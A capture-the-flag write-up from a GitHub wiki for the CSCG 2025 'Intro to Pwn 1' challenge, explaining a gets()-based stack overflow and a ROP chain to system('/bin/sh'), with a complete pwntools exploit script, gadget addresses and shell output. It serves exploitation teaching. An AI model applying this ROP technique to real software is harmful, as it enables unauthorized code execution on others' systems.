CSCG intro to Pwn1 writeup - Pez1181/CTF GitHub Wiki
Intro to Pwn 1 — Writeup
A warm-up to set the tone for CSCG 2025’s pwn adventures.
Challenge Overview
Type | Vulnerability | Protection Bypassed |
---|---|---|
Binary Exploitation (ROP) | Stack buffer overflow | NX (no shellcode), PIE (no randomization), Stack canary (absent) |
🔍 Recon
We’re given a statically linked ELF called intro-pwn
. Let’s start with some basic recon:
checksec intro-pwn
[*] '/intro-pwn'
Arch: amd64-64-little
NX: ENABLED
PIE: DISABLED
Canary: DISABLED
RELRO: FULL
Key points:
- NX is enabled → no shellcode on the stack.
- PIE is disabled → static addresses.
- No canary → buffer overflow is straightforward.
Let’s disassemble the binary and examine the main()
function:
gdb ./intro-pwn
Inside main()
, there's a gets()
call — instant red flag. It allows arbitrary input into a local buffer → classic overflow.
🧠 Vulnerability Analysis
We overflow a buffer of size 24 bytes, confirmed via cyclic pattern in GDB:
cyclic 100
Overflow occurs after 24 bytes, giving us full control of RIP. This sets us up perfectly for a ROP chain.
⚙️ Exploit Strategy
Since NX is enabled, we cannot inject shellcode, but we can ROP our way to system("/bin/sh")
.
We follow these steps:
- Overflow buffer to control RIP.
- Use a
pop rdi; ret
gadget to set up the argument forsystem()
. - Write
"/bin/sh"
into a writable memory section usinggets()
. - Call
system("/bin/sh")
.
This is a textbook ret2libc (static) attack, just without needing libc since system/gets are present in the binary.
pop rdi; ret
Actually Do?
🔧 What Does In x86_64 (64-bit) Linux, function arguments are passed via registers, not the stack. The first argument goes into RDI.
So if we want to call system("/bin/sh")
, we need to put the address of "/bin/sh" into RDI.
This is where a ROP gadget like pop rdi; ret
comes in:
pop rdi
→ takes the value at the top of the stack and places it into the RDI register.ret
→ returns to the next address on the stack (our next gadget or function call).
In short:
pop rdi
ret
will make RDI = whatever value we place next on the stack. In our case, that’s the address of the "/bin/sh"
string we write to .data
using gets()
.
So, pop rdi; ret
is how we manually prepare function arguments in a ROP chain.
🧪 Exploit Code (Commented)
from pwn import *
# Setup: local or remote
# io = process("./intro-pwn")
io = process(["ncat", "--ssl-verify", "8eabc9018ee7a886c929aaf1-1024-intro-pwn-1.challenge.cscg.live", "1337"])
# Gadget and function addresses (statically found)
pop_rdi = 0x401205 # pop rdi; ret
system_addr = 0x401040 # system@plt
gets_addr = 0x401060 # gets@plt
data_addr = 0x404028 # .data section (writable)
# Step 1: Overflow buffer (24 bytes) to control RIP
payload = b"A" * 24
# Step 2: Setup RDI = data_addr, then call gets()
payload += p64(pop_rdi) # Gadget to control RDI
payload += p64(data_addr) # Address to store "/bin/sh"
payload += p64(gets_addr) # Call gets(data_addr)
# Step 3: Setup RDI = data_addr again, then call system()
payload += p64(pop_rdi) # Gadget again
payload += p64(data_addr) # Still contains "/bin/sh"
payload += p64(system_addr) # system("/bin/sh")
# Send payload and input string
io.sendline(payload)
io.sendline(b"/bin/sh") # gets() reads this into .data
# Enjoy the shell
io.interactive()
📦 Example Output
$ python3 solve.py
[+] Starting local process ...
[*] Switching to interactive mode
$ whoami
ctf
$ cat flag.txt
CSCG{welcome_to_ret2win}
📝 Final Notes
- This challenge beautifully demonstrates the ROP fundamentals:
- Leaking nothing
- Writing your own
/bin/sh
string into memory - Calling existing PLT functions
- The binary is built for learning: no canaries, no PIE, system() and gets() right there for you.
- Useful practice for ret2libc layout, even if we don’t use libc here directly.